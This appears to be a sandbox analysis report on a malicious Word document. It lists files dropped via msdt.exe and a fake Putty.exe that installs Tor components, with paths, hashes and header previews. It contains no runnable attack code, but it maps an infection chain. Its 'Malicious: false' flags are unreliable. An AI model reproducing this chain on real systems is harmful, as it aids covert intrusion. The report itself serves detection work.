Preview: # This file has been converted from the IPFire Location database.# using Tor's geoip-db-tool.  For more information on the data, see.# https://location.ipfire.org/..#.# Below 
is the header from the original export:.#.#.# Location Database Export.#.# Generated: Tue, 09 Aug 2022 06:11:25 GMT.# Vendor:    IPFire Project.# License:   CC BY-SA 
4.0.#.# This database has been obtained from https://location.ipfire.org/.#.# Find the full license terms at https://creativecommons.org/licenses/by-sa/4.0/.#.16777216,1
6777471,AU.16777472,16778239,CN.16778240,16779263,AU.16779264,16781311,CN.16781312,16785407,JP.16785408,16793599,CN.16793600,16809983,JP.168
09984,16842751,TH.16842752,16843007,CN.16843008,16843263,AU.16843264,16859135,CN.16859136,16875519,JP.16875520,16908287,TH.16908288,16909055
,CN.16909056,16909311,AU.16909312,16941055,CN.16941056,16973823,TH.16973824,17039359,CN.17039360,17039615,AU.17039616,17072127,CN.17072128,1
7104895,TH.17104896,17170431,JP.17170432,17301503,IN.17301504,17367039

Process: C:\Windows\Temp\SDIAG_ddb55b0c-cd91-4e41-8c7d-9e294f93993f\Putty.exe

File Type: ASCII text

Category: dropped

Size (bytes): 5919292

C:\Users\user\AppData\Local\Temp\vniik5rq\vniik5rq.dll

C:\Users\user\AppData\Roaming\Data\Tor\geoip

C:\Users\user\AppData\Roaming\Data\Tor\geoip6
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Entropy (8bit): 3.1083240413253934

Encrypted: false

SSDEEP: 24576:OSVA+ByKCLUCVEPycvUlmx0oLPTvmCg1e1GSxD80xmSLpjLrnMLTjnTzP7HxLfz3:Y

MD5: ED2F9B19DD1584D7E26F5BA460EF2FBF

SHA1: DCBF1789BF1EEB03276B830CB2AB92BCF779D97F

SHA-256: F11BD1D7546CAD00B6DB0A1594F3AC1DAF9F541004FD7EFB5414E068693D6ADD

SHA-512: DCFC780D1E34968390969B64EA2091B630C8EEC94AC4724A4103A003A2F31545C3791A39F514517153538B4D3F5C50B6BFBA74CC9CF8C0B1B5DABA0A4849C85
6

Malicious: false

Preview: # This file has been converted from the IPFire Location database.# using Tor's geoip-db-tool.  For more information on the data, see.# https://location.ipfire.org/..#.# Below 
is the header from the original export:.#.#.# Location Database Export.#.# Generated: Tue, 09 Aug 2022 06:11:25 GMT.# Vendor:    IPFire Project.# License:   CC BY-SA 
4.0.#.# This database has been obtained from https://location.ipfire.org/.#.# Find the full license terms at https://creativecommons.org/licenses/by-sa/4.0/.#.2001::,200
1:0:ffff:ffff:ffff:ffff:ffff:ffff,??.2001:4:112::,2001:4:112:ffff:ffff:ffff:ffff:ffff,??.2001:200::,2001:200:134:ffff:ffff:ffff:ffff:ffff,JP.2001:200:135::,2001:200:135:ffff:ffff:ffff:ffff:ffff,US.200
1:200:136::,2001:200:179:ffff:ffff:ffff:ffff:ffff,JP.2001:200:17a::,2001:200:17b:ffff:ffff:ffff:ffff:ffff,US.2001:200:17c::,2001:200:ffff:ffff:ffff:ffff:ffff:ffff,JP.2001:201::,2001:207:ffff
:ffff:ffff:ffff:ffff:ffff,AU.2001:208::,2001:208:ffff:ffff:ffff:ffff:ffff:ffff,SG.2001:209::,2001:21

Process: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE

File Type: ASCII text, with CRLF line terminators

Category: dropped

Size (bytes): 71

Entropy (8bit): 4.7517417537838185

Encrypted: false

SSDEEP: 3:bDuMJlLTwjomX1dhwjov:bCATwjnwjy

MD5: 25D7B5D6D6086847396CCCDADCA6C87C

SHA1: 162AB026FAB5A2DC042B0E28A7C95E8586F4150B

SHA-256: 0A585BE0F2682A21AC65E72D7E2243996FF2D339CBF7381F73A141886FD893AC

SHA-512: 0346058E240E405B86D3AC8BB5FC6A5B4FB33BC4E6D2FDB72E451C036724BD0A3F0C76658B002E46E99784EC7E8B9C65117B14C3989979A71904113173C42DA6

Malicious: false

Preview: [folders]..Templates.LNK=0..v4nkfHg4d9.LNK=0..[doc]..v4nkfHg4d9.LNK=0..

Process: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE

File Type: MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Tue Aug 16 21:23:03 2022, mtime=Tue Sep 20 18:08:36 2022, 
atime=Tue Sep 20 18:08:13 2022, length=77319, window=hide

Category: dropped

Size (bytes): 1060

Entropy (8bit): 4.697804488619853

Encrypted: false

SSDEEP: 12:8wsapUa6CHi9GwGXqGDqAF+W22pBjvDUjEjAJ/yldvD+DyMwa4t2Y+xIBjKZm:8fXG96oqASaBrQUAJKPiDym7aB6m

MD5: 8F9D527CA384E1BEF0B3E77FC1599C6E

SHA1: 2E0B3687533F977E8DDB94868DF61AE443B0F09A

SHA-256: DBFE752CE08216356E110B1945076376DE4661F3DD1A6834B12535E853FF90AA

SHA-512: 36D53237940D8748FD0CF632D00820C5303AFACBD44A19115B384B6035506E16D8CA94E6F59013F195B6BD9F88D2DBFF3962F172955265034EBA2AC573220DD8

Malicious: false

Preview: L..................F.... ...Y........Z.b$......T$................................P.O. .:i.....+00.../C:\...................x.1......Ng...Users.d......L..4U......................:......B..U.s.e.r.s...@.s.h.e.l.l.3.2...d.l.l.,.-
.2.1.8.1.3.....T.1......U...user..>.......NM.4U.......S.....................co.a.l.f.o.n.s.....~.1......U...Desktop.h.......NM.4U.......Y..............>......:..D.e.s.k.t.o.p...@.s.h.e.l.l.3.2...d.l.l.,.-
.2.1.7.6.9.....j.2.....4U.. .V4NKFH~1.DOC..N.......U.4U......`......................"e.v.4.n.k.f.H.g.4.d.9...d.o.c.......U...............-.......T...........>.S......C:\Users\user\Desktop\v4
nkfHg4d9.doc..%.....\.....\.....\.....\.....\.D.e.s.k.t.o.p.\.v.4.n.k.f.H.g.4.d.9...d.o.c.........:..,.LB.)...Aw...`.......X.......472847...........!a..%.H.VZAj..../...........W...!a..%.H.VZAj..../...
........W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.3.8.5.3.3.2.1.9.3.5.-.2.1.2.5.5.6.3.2.0.9.-.4.0.5.3.0.6.2.3.3.2.-.1.0.0.2.........9...1

Process: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE

File Type: data

Category: dropped

Size (bytes): 162

Entropy (8bit): 2.5710620635700985

Encrypted: false

SSDEEP: 3:Rl/Zd/d5+tlqKi3+l0ltllltLd4tltNncH:RtZ9a6w0Jwl/k

MD5: D4B55BF62AA92649DE59B46EAC034063

SHA1: 9AAB157D0DE94BE13274D62E375544ECD3322B31

SHA-256: 7F6763A2FFE02EAA49B392BE0CB7635C9DAB1C46CB6FFA21D9B84F628D4A8F4F

C:\Users\user\AppData\Roaming\Microsoft\O ce\Recent\index.dat

C:\Users\user\AppData\Roaming\Microsoft\O ce\Recent\v4nkfHg4d9.LNK

C:\Users\user\AppData\Roaming\Microsoft\Templates\~$Normal.dotm
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SHA-512: 6819E6D4B05913F26782DB81682B254B6F54165525502A4752EDD74F4502EC6D5AE776CC21F06A9908B8F987221669C5BCAFA11F61EBA77843026693E592729B

Malicious: false

Preview: .pratesh................................................p.r.a.t.e.s.h.........................H.......6C..............................................(.H.(.H.(.H.

Process: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE

File Type: Little-endian UTF-16 Unicode text, with CR line terminators

Category: dropped

Size (bytes): 20

Entropy (8bit): 2.8954618442383215

Encrypted: false

SSDEEP: 3:QVNliGn:Q9rn

MD5: C4F79900719F08A6F11287E3C7991493

SHA1: 754325A769BE6ECCC664002CD8F6BDB0D0B8CA4D

SHA-256: 625CA96CCA65A363CC76429804FF47520B103D2044BA559B11EB02AB7B4D79A8

SHA-512: 0F3C498BC7680B4C9167F790CC0BE6C889354AF703ABF0547F87B78FEB0BAA9F5220691DF511192B36AD9F3F69E547E6D382833E6BC25CDB4CD2191920970C5F

Malicious: false

Preview: ..p.r.a.t.e.s.h.....

Process: C:\Windows\Temp\SDIAG_ddb55b0c-cd91-4e41-8c7d-9e294f93993f\Putty.exe

File Type: PE32 executable (DLL) (console) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 3720943

Entropy (8bit): 6.381273721170494

Encrypted: false

SSDEEP: 98304:hxRZU5tRdTvnt3EhOPE2sgEcgY5PJbBC87I8wpi1CPwDv3uFfJxzX2EeJUO9WL44:XzUJhvnt3EhOP/srcN5PJbBD7TIi1CP3

MD5: B7C32C8E7D21AA9B79470037227EBA43

SHA1: 38D719B10CA035CEE65162C1A44E2C62123D41B4

SHA-256: 99B4042A858A9E437917C8256692E9BA161B87054CCF5E22538E86BB35C34F23

SHA-512: D85345380B9605C8484E11873218AA4EAEEA573CA51EEDADA6D0518695A2B184BB22FAF7C5E3D88330935774CED17E9D80C577B06603AA1CA6DAB748B0BD15
A7

Malicious: false

Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L........(/..\.....!...#......*..B................@k..........................0......Y9.
..@... .......................(.......*.$....P*......................`*.............................l.".....................H.*..............................text...h...........................`..`.data...............................@.`..rda
ta..hS.......T..................@.`@/4......XX...P#..Z...D#.............@.0@.bss.....A....'.......................`..edata........(.......'.............@.0@.idata..$.....*.......).............@.0..CRT....,....0
*.......).............@.0..tls.........@*.......).............@.0..rsrc........P*.......).............@.0..reloc.......`*.......).............@.0B/14..........P+.......*.............@.@B/29.....g....`+.......*...........
..@..B/41......F....,..H...>,.............@..B/55..........@-.......,.............@..B/67.....8....0.......n-.

Process: C:\Windows\Temp\SDIAG_ddb55b0c-cd91-4e41-8c7d-9e294f93993f\Putty.exe

File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 897308

Entropy (8bit): 6.070043579095594

Encrypted: false

SSDEEP: 12288:q1db6bzbHbMZFbhb0bvb64AZI6lHkzptOAL2Wt4XCFDsF/Jpt7L7ZG1nkC0xuHSC:+4AZ0zrOAL2M4XvF/tI7HS4P

MD5: 736443B08B5A52B6958F001E8200BE71

SHA1: E56DDC8476AEF0D3482C99C5BFAF0F57458B2576

SHA-256: DA1F75B9CE5F47CB78A6930A50C08397EE4D9778302746340F4057FCD838DBF4

SHA-512: 9DFCDB1186B089E7961767D427DE986AD8E5F7715B7592984349D0B8E7F02198137C83E8C79A096A7475AD9F4695F52539FA08FA65912860DDF0A85515A7CDA1

Malicious: false

Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L........N.........!...#......... .................h....................................
..@... ..........................Y......T............................ ...&...........................z......................P................................text...............................`.P`.data...............................@.`..rdata........
......................@.`@/4......L............z..............@.0@.bss.........`........................`..edata...Y.......Z...6..............@.0@.idata..T...........................@.0..CRT....,.........................
..@.0..tls................................@.0..reloc...&... ...(..................@.0B/14..........P......................@.@B/29..........`......................@..B/41.....{I.......J...r..............@..B/55.....)....P
......................@..B/67.....8....@......................@.0B/80.....e....P..........

Process: C:\Windows\Temp\SDIAG_ddb55b0c-cd91-4e41-8c7d-9e294f93993f\Putty.exe

File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

C:\Users\user\AppData\Roaming\Microsoft\UProof\CUSTOM.DIC

C:\Users\user\AppData\Roaming\Tor\libcrypto-1_1.dll

C:\Users\user\AppData\Roaming\Tor\libevent-2-1-7.d ll

C:\Users\user\AppData\Roaming\Tor\libevent_core-2-1-7.dll
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Category: dropped

Size (bytes): 718110

Entropy (8bit): 5.9917560981929405

Encrypted: false

SSDEEP: 12288:iW3bb6bRbHbIZJbhbgbvb5m1A73b/0kPxuPL32s4tijTHK2jtki943eAWnVC1uLx:im1A73b/0kPxuPL32LMvHHtkcMtwv

MD5: F1BCC8BD3200845993211EB807F33E56

SHA1: D25274E36E79D8E50A446B1144D8B6F2B2CF309B

SHA-256: 7CD199BBF3BFE19182C5ECA3A080A7E93CEC0D30CBD872A305C92BC9282A7399

SHA-512: 397BA6B995AEBCE54B95C7F3ABD3C64AE2C5AB3D01FB38185F8FCCAD82CAC335E2F0666FC47B73D3A3A4AF9B5A5CE311E4963841616F4D38B03E1BC16355B
5BB

Malicious: false

Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...........p......!...#.V...................p....0n.................................`..
..@... .........................i<..............................................................................................L............................text....T.......V..................`.P`.data........p.......\..............@.`..rda
ta...V.......X...`..............@.`@/4..................................@.0@.bss.........p........................`..edata..i<.......>...<..............@.0@.idata...............z..............@.0..CRT....,...............
............@.0..tls................................@.0..reloc..............................@.0B/14.......... ......................@.@B/29.....W....0......................@..B/41......G.......H...F..............@..B/55.
......... ......................@..B/67.....8............v..............@.0B/80.....[.... .......x..

Process: C:\Windows\Temp\SDIAG_ddb55b0c-cd91-4e41-8c7d-9e294f93993f\Putty.exe

File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 509893

Entropy (8bit): 5.923804968499278

Encrypted: false

SSDEEP: 12288:99tor7gVS5W5rHNYOXB1XEtrfI8Vu1nmCuXZS:vV2W5rHuO0tuyZS

MD5: F963552B851FDE3834405BB98BAE0C36

SHA1: 822C7D7988AC28ACA080DBC9C26F98416F67124F

SHA-256: 36C66CFC6E9663BDD2CDC54A1253A8C26C837CA0BD8C52769B5820641C18D4C3

SHA-512: B301DF8740E07C1032E959E563842D568916F7165F72C459C0FFCBE1A717B0886BE1D2EF8B992875392A09983AE9E35E7481B29C213A18EE15B335A9849CF39B

Malicious: false

Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L........R.........!...#.*...................@.....d.................................3..
..@... .............................. ..`............................`...............................~.......................#...............................text....(.......*..................`.P`.data...4....@.......0..............@.`..rda
ta...A...P...B...2..............@.`@/4.......K.......L...t..............@.0@.bss....P.............................`..edata........... ..................@.0@.idata..`.... ......................@.0..CRT....,....@..........
............@.0..tls.........P......................@.0..reloc.......`......................@.0B/14.....P...........................@.@B/29......).......*..................@..B/41.....h4.......6...@..............@..B/55.
....k............v..............@..B/67.....8...........................@.0B/80.....F...............

Process: C:\Windows\Temp\SDIAG_ddb55b0c-cd91-4e41-8c7d-9e294f93993f\Putty.exe

File Type: PE32 executable (DLL) (console) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 684853

Entropy (8bit): 5.811518800721527

Encrypted: false

SSDEEP: 6144:X8lWUP47MlXxv9XQh2ACuBs4Npf4XCdzNe/+Qg3K2tUzVprtk4kpQANYErfxAdba:X8lWUOUhp4Df8CdzNAlacpmpxTxOno3/

MD5: 36E1C3814BDE3418BA3D38517954CB7C

SHA1: 495E1BA5B0B442E70124D33DAA6FEA4E3E5931B0

SHA-256: B34EDD252F46DD881E79CFD274777FE5E90943D511C8E002AECA0528D7F3B4B1

SHA-512: DF7B608C51A782AD5CDFD753577A3DCACF4E2515AC02CE9E35B3CBC543895862844E8ADCAFF983B1348884085CF7427C33A67ACC5CE48FE656F5B2083D0813
B0

Malicious: false

Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L........L.........!...#.d.........................n................................X...
..@... .........................u.......x............................@.......................................................................................text....b.......d..................`.P`.data...(............j..............@.0..rda
ta...............l..............@.`@/4.......4.......6..................@.0@.bss..................................0..edata..u...........................@.0@.idata..x...........................@.0..CRT....,.... ..........
............@.0..tls.........0......................@.0..reloc.......@......................@.0B/14.....h....P......................@.@B/29..........`......................@..B/41......w...@...x..................@..B/55.
.....\.......^...:..............@..B/67.....d.... ......................@.0B/80..........0..........

Process: C:\Windows\Temp\SDIAG_ddb55b0c-cd91-4e41-8c7d-9e294f93993f\Putty.exe

File Type: PE32 executable (DLL) (console) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 960709

Entropy (8bit): 6.030141692420098

Encrypted: false

C:\Users\user\AppData\Roaming\Tor\libevent_extra-2-1-7.dll

C:\Users\user\AppData\Roaming\Tor\libgcc_s_dw2-1.dll

C:\Users\user\AppData\Roaming\Tor\libssl-1_1.dll
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SSDEEP: 24576:UzD0YeAxldPO03IIYHpu0FeJ/xpyvpcu1UYahUo24yjFp+PnpFX:6D0neO03ILu08J/nu1UYaio24yjFp+/7

MD5: D92E59B71BF8A0D827597ED95B2ECA42

SHA1: CFC49FF29EDDB7127FBED166A8A1E740EA3DFB9A

SHA-256: B6EF5CB4C093431F3E73C53E66DF33D08237BA46D457D119A2C4DCAE582314E3

SHA-512: BE65E003A498E753B08912D697E9B4D8A28828581C17D1E8E20880372A81030CE18610EEFF230C8880E68A831041075BB2EBFFCF318D29EBF58BC856FAC3DF04

Malicious: false

Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L........t.........!...#..................... .....j......................... .......]....@... 
......................p..3@.......>... .......................0..tD...........................M...................... ................................text...............................`.P`.data....,... ......................@.`..rdata.......P
.......<..............@.`@/4...........p.......Z..............@.0@.bss....p....`........................`..edata..3@...p...B...F..............@.0@.idata...>.......@..................@.0..CRT....,...............
............@.0..tls................................@.0..rsrc........ ......................@.0..reloc..tD...0...F..................@.0B/14.................................@.@B/29.....K...........................@..B/41.
....g,..........................@..B/55......x.......z...@..............@..B/67.....8....@..........

Process: C:\Windows\Temp\SDIAG_ddb55b0c-cd91-4e41-8c7d-9e294f93993f\Putty.exe

File Type: PE32 executable (DLL) (console) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 97293

Entropy (8bit): 5.293554162664098

Encrypted: false

SSDEEP: 768:NRGwbtFOT3Ro1tpuBNtodXD+H7cK2ULAvU0YVLI4aVeTH9Bve8EuIIRUC:NPbtFOT3RKoBNKN+H7T2U4UaAD9BvZ2C

MD5: 7CDBACA31739500AEFC06DD85A8558FF

SHA1: ADC36EC6A3CDC7E57A1B706C820E382627F6CB90

SHA-256: 0A1DEE5DD5234971F7526F3D5F8B7E2CFDCB536E18DEBD51C985010FB504FBDB

SHA-512: 6DF8AC9054F27EBBEF9642CE79FF7BA836411EA0ED0BD04B3CFE724A336A91F665C2CC0B7A4BFC99A80786D1A6D361B971A7DBB7A298B919A1BAA812541841
BA

Malicious: false

Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..................!...#.....@...............0.....h....................................
.@... ......................p..i....................................................................@.......................................................text...X...........................`.P`.data...(....0......."..............@.0..rdat
a.......@.......$..............@.0@/4......d....P.......*..............@.0@.bss.........`........................0..edata..i....p.......6..............@.0@.idata...............8..............@.0..CRT....,............>...
...........@.0..tls.................@..............@.0..reloc...............B..............@.0B/14..................F..............@.@B/29......v.......x...J..............@..B/41..........P......................@..B/55..
...p....p... ..................@..B/67.....8...........................@.0B/80.....N...............

Process: C:\Windows\Temp\SDIAG_ddb55b0c-cd91-4e41-8c7d-9e294f93993f\Putty.exe

File Type: PE32 executable (DLL) (console) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 308415

Entropy (8bit): 5.79072242634744

Encrypted: false

SSDEEP: 6144:eiokqhPm3YvXEXSDYpAHijb6vbhgG4Mlv5FNJ2z+BKTkxde:eikPm3YvXEIYpAHijb6vbhuMd5l2JTkq

MD5: 07F4BBF18077231CB44750684DD8DAF4

SHA1: 8560627E9E05D6022ABDFE7E576856E91AC90188

SHA-256: 4A146671B1FED4906799CB1CFC670753F1B1922793F5B40D5CF710BEFB287316

SHA-512: 04E31AD60E797CDBD1F3DB36A8473139BBD1B763D2D67A160454B24B524E8BBC4D5784C62446A0F9D83B95DD518534AB4581D3A43A14146B17D0035ECC79C15
1

Malicious: false

Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...........f......!...#.....j.....................d.................................m..
..@... ..............................0..<....`..P....................p......................................................|1..@............................text............................... .P`.data...H...........................@.0..rda
ta..............................@.0@/4.......2.......4..................@.0@.bss..................................0..edata..............................@.0@.idata..<....0......................@.0..CRT....0....@..........
............@.0..tls.........P......................@.0..rsrc...P....`......................@.0..reloc.......p......................@.0B/14.................................@.@B/29......v.......x..................@..B/41.
.....9.......:...z..............@..B/55..........P......................@..B/67..................V..

Process: C:\Users\user\AppData\Roaming\Tor\tor.exe

File Type: ASCII text, with CRLF line terminators

Category: dropped

Size (bytes): 233

Entropy (8bit): 4.859606656662613

Encrypted: false

SSDEEP: 6:SbdWwxXWJznXr87+QVe2vwR/Ep5fM8IJ3BYQmUcEl0qy:bwxXWdXr87HVBvwNCCZXmUuqy

MD5: 343CED80901C9C3CC078A9A082C658A2

SHA1: 7500A4022B6CE9A0ADDE71A7DE98DB9ABC002596

SHA-256: 2E898EF45C8713972F8D74509FB74EEBCE62F9BE7A8148136565CF74A162DB89

C:\Users\user\AppData\Roaming\Tor\libssp-0.dll

C:\Users\user\AppData\Roaming\Tor\libwinpthread-1.dll

C:\Users\user\AppData\Roaming\Tor\state.tmp
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SHA-512: BDC5E217AC294886BD5E20005C5B1408996AAB3E6361AA3DBDBB87ADE672C800C294631B1CF83CC48C9856EBC8D35C1679D13BEA7A2D4140045C6E91AFEC3
BB5

Malicious: false

Preview: # Tor state file last generated on 2022-09-20 12:10:33 local time..# Other times below are in UTC..# You *do not* need to edit this file.....Dormant 0..LastWritten 2022-09-
20 19:10:33..TorVersion Tor 0.4.7.10 (git-f732a91a73be3ca6)..

Process: C:\Windows\Temp\SDIAG_ddb55b0c-cd91-4e41-8c7d-9e294f93993f\Putty.exe

File Type: PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows

Category: dropped

Size (bytes): 1097742

Entropy (8bit): 6.448650024927136

Encrypted: false

SSDEEP: 6144:Or+pcbLisTa5ZhtuDDJhHbexoVNeRWmpVlZL88CAI9ll5K78LUcnRgFDpbV50DEn:JpGUZuIVcl5u8LFRPD+h3CUK94FV4I

MD5: 8A574C633EB3C8B7D209B5940EBF731B

SHA1: E835C5668AD1437CEBDBD56BC7923C3683E8B9AD

SHA-256: BFD8DD86A41BC05BEEA0F240C35E88BD42ABADA70EFF4741717901D1B55BFB28

SHA-512: 085EE9D9C52FD5F6FF2095727D9E3B1D27C5B2D3AB54CA11149954A4B031296C9CF9C81457A2DF8EBA916336CDEF4EA2BD39CF98D4AD19AB78E53AC85B6D6
DEC

Malicious: false

Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......................#..........................@..................................A..
..@... .................................<................................>..........................$i..........................D............................text...4...........................`.P`.data...$...........................@.`..rda
ta..4O.......P...t..............@.`@/4..................................@.0@.bss.........p........................`..idata..<........ ...\..............@.0..CRT....0............|..............@.0..tls.................~............
..@.0..reloc...>.......@..................@.0B............................................................................................................................................................................................................
............................................................

Process: C:\Windows\Temp\SDIAG_ddb55b0c-cd91-4e41-8c7d-9e294f93993f\Putty.exe

File Type: PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows

Category: dropped

Size (bytes): 4466702

Entropy (8bit): 6.437825090947764

Encrypted: false

SSDEEP: 98304:rEEN8l5RbLMyGPpqrG6qqGJBLQIuSPG3W9tPo:rwl5RbLqpqrGvBLQI+h

MD5: 055AE7C584A7B012955BF5D874F30CFA

SHA1: F2B4D8C5307FF09607BE929EC08FC2727BF03DCF

SHA-256: D51B5BF807F6DE3B5521B49B9A722592FB85AEE1EA2F1C03BBB5255D62BFB9C8

SHA-512: 910BB0BE7A3840BB37CB453EA066677A5327E272CFA0995F7A600BD4EB2E7C31685DCC0758C3B2CF07C7622FD45B2D4CDD3A4272CDDAF9E97E2FFC48120646
C5

Malicious: false

Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L........(D............#../..$D..`............0...@...........................
D.....4.D...@... ...............................B..6............................B.............................Dm:.....................,.B.(............................text...../......./.................`.P`.data........0......./............
.@.`..rdata........0.......0.............@.`@/4.......p....=..r....=.............@.0@.bss....._... B.......................`..idata...6....B..8....A.............@.0..CRT....0.....B......2B.............@.0..tls.
.........B......4B.............@.0..reloc........B......6B.............@.0B...............................................................................................................................................................................
.........................................................................................

Process: C:\Windows\Temp\SDIAG_ddb55b0c-cd91-4e41-8c7d-9e294f93993f\Putty.exe

File Type: PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows

Category: dropped

Size (bytes): 138254

Entropy (8bit): 6.395685254326013

Encrypted: false

SSDEEP: 1536:4Ep67NNeARQDjG1H0ZMnPHTFpl6CkTtWbn5TlE1nvraZrIOkIOWZBXsI7zCzI:4EpOfrRQrczFpqTsb5TlsDanKWZJCU

MD5: F08B1F044C68770C190DAF1EB1F3157E

SHA1: F94103A542459D60434F9DDB6B5F45B11EAE2923

SHA-256: 1D0278386F8922BDF4808861E6E901541AD23CC6337BB022C78DC05915202F27

SHA-512: 0667416A7515CD845E96D2AD26CA676CFFD2D1C9F0449FF05455E8CF6A7AB595D3F972785D051F45332C04F1C0B576726F645E3669122608A4F374E984BA161C

Malicious: false

Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..................#...#.|.........................c....................................
..@... ......................@.......P..<...............................X...........................$.......................PQ...............................text...dz.......|..................`.P`.data...L...........................@.0..rda
ta..PD.......F..................@.`@/4.......3.......4..................@.0@.bss....P....0........................`..edata.......@......................@.0@.idata..<....P......................@.0..CRT....,....`
......................@.0..tls.........p......................@.0..rsrc...............................@.0..reloc..X...........................@.0B..............................................................................................
..........................................................................................

C:\Users\user\AppData\Roaming\Tor\tor-gencert.exe

C:\Users\user\AppData\Roaming\Tor\tor.exe

C:\Users\user\AppData\Roaming\Tor\zlib1.dll
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Process: C:\Windows\Temp\SDIAG_ddb55b0c-cd91-4e41-8c7d-9e294f93993f\Putty.exe

File Type: Zip archive data, at least v1.0 to extract

Category: dropped

Size (bytes): 6756012

Entropy (8bit): 7.998141326584347

Encrypted: true

SSDEEP: 196608:4lhNKnxYg641HkUCwz4YVixMJS+FZarLBiUIT88:yDKxd641E8cIdJSbwUIT88

MD5: 66DA9976C96803996FC5465DECF87630

SHA1: FD57CD1C5C7EF98BC935C80BAC0E808B7C3962F7

SHA-256: 114D5A4B2915D940BDC913287A2E54ED8AEF79BCE092C370B1C849842045369C

SHA-512: 1A4366620D166855160515BD04FFC35FBF3DEDFC09E05B818E412329FE90B7FE05129DF6E3A7BE117E414E961530404F41F703D9DB2444CD593C6D9C4FEDE084

Malicious: false

Preview: PK........`r.U................Data/PK........`r.U................Data/Tor/PK........`r.U.D...c..,.<.....Data/Tor/geoip|..&.q....(...MI......g..U..t.(.%q.b.#.33o?.......{.w ....pw......O.{...../...{./........_..
..........................O...............?.......?^.......x.......{.........../....~..?.x..................A$D.|._!.?.......................?...?V.W.......j*~......~.........._......?..........7n..;.......?........./......E:Szq..
...N.....W..........b..~x..o....w...../....|.........'.`.FO.........K....S.?...........?..........................._..._......._.......i.."..{OW{IP.....8.9R./_.9..I.L-G............./.x:...3..2gn'd.s.U..2GI.^/..8....\2.s.
!.n.1.^.K..1G....h...9..x.9...71...M..K..d..,.x5.........].2.......I.:..2.Qr...O$....y.3.|..Q{n./..x.}.......a...u.f.yI&1**..]....9.K/N.%k.......x..*..6.(...*...}.VW....u...M,).J.k...v.%s.k........M>.
......Qr....^.FE3e..o..a..13_..*"Nb..v..1..(9.u..k}..>.y.S2s..d.M.^

Process: C:\Users\user\AppData\Roaming\Tor\tor.exe

File Type: ASCII text, with CRLF line terminators

Category: dropped

Size (bytes): 233

Entropy (8bit): 4.859606656662613

Encrypted: false

SSDEEP: 6:SbdWwxXWJznXr87+QVe2vwR/Ep5fM8IJ3BYQmUcEl0qy:bwxXWdXr87HVBvwNCCZXmUuqy

MD5: 343CED80901C9C3CC078A9A082C658A2

SHA1: 7500A4022B6CE9A0ADDE71A7DE98DB9ABC002596

SHA-256: 2E898EF45C8713972F8D74509FB74EEBCE62F9BE7A8148136565CF74A162DB89

SHA-512: BDC5E217AC294886BD5E20005C5B1408996AAB3E6361AA3DBDBB87ADE672C800C294631B1CF83CC48C9856EBC8D35C1679D13BEA7A2D4140045C6E91AFEC3
BB5

Malicious: false

Preview: # Tor state file last generated on 2022-09-20 12:10:33 local time..# Other times below are in UTC..# You *do not* need to edit this file.....Dormant 0..LastWritten 2022-09-
20 19:10:33..TorVersion Tor 0.4.7.10 (git-f732a91a73be3ca6)..

Process: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE

File Type: data

Category: dropped

Size (bytes): 162

Entropy (8bit): 2.5710620635700985

Encrypted: false

SSDEEP: 3:Rl/Zd/d5+tlqKi3+l0ltllltLd4tltNncH:RtZ9a6w0Jwl/k

MD5: D4B55BF62AA92649DE59B46EAC034063

SHA1: 9AAB157D0DE94BE13274D62E375544ECD3322B31

SHA-256: 7F6763A2FFE02EAA49B392BE0CB7635C9DAB1C46CB6FFA21D9B84F628D4A8F4F

SHA-512: 6819E6D4B05913F26782DB81682B254B6F54165525502A4752EDD74F4502EC6D5AE776CC21F06A9908B8F987221669C5BCAFA11F61EBA77843026693E592729B

Malicious: false

Preview: .pratesh................................................p.r.a.t.e.s.h.........................H.......6C..............................................(.H.(.H.(.H.

Process: C:\Windows\SysWOW64\msdt.exe

File Type: HTML document, ASCII text, with CRLF line terminators

Category: dropped

Size (bytes): 24702

Entropy (8bit): 4.37978533849437

Encrypted: false

SSDEEP: 96:fO3MDP8m2xaqade1tXv8v/XPSwTkal+7lOaNeHdXQZvczyJuz4UnPz0Kuz+NGTEP:O5NzuCWNaEcU8mjapMVOHW

C:\Users\user\AppData\Roaming\torZipped.zip

C:\Users\user\AppData\Roaming\tor\state (copy)

C:\Users\user\Desktop\~$nkfHg4d9.doc

C:\Windows\Temp\SDIAG_ddb55b0c-cd91-4e41-8c7d-9e294f93993f\DiagPackage.diagpkg
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MD5: 191959B4C3F91BE170B30BF5D1BC2965

SHA1: 1891E3CB588516B94FDC53794DA4DF5469A4C6D0

SHA-256: 8EC3A8F67BAF1E4658FC772F9F35230CA1B0318DDAF7A4C84789A329B6F7F047

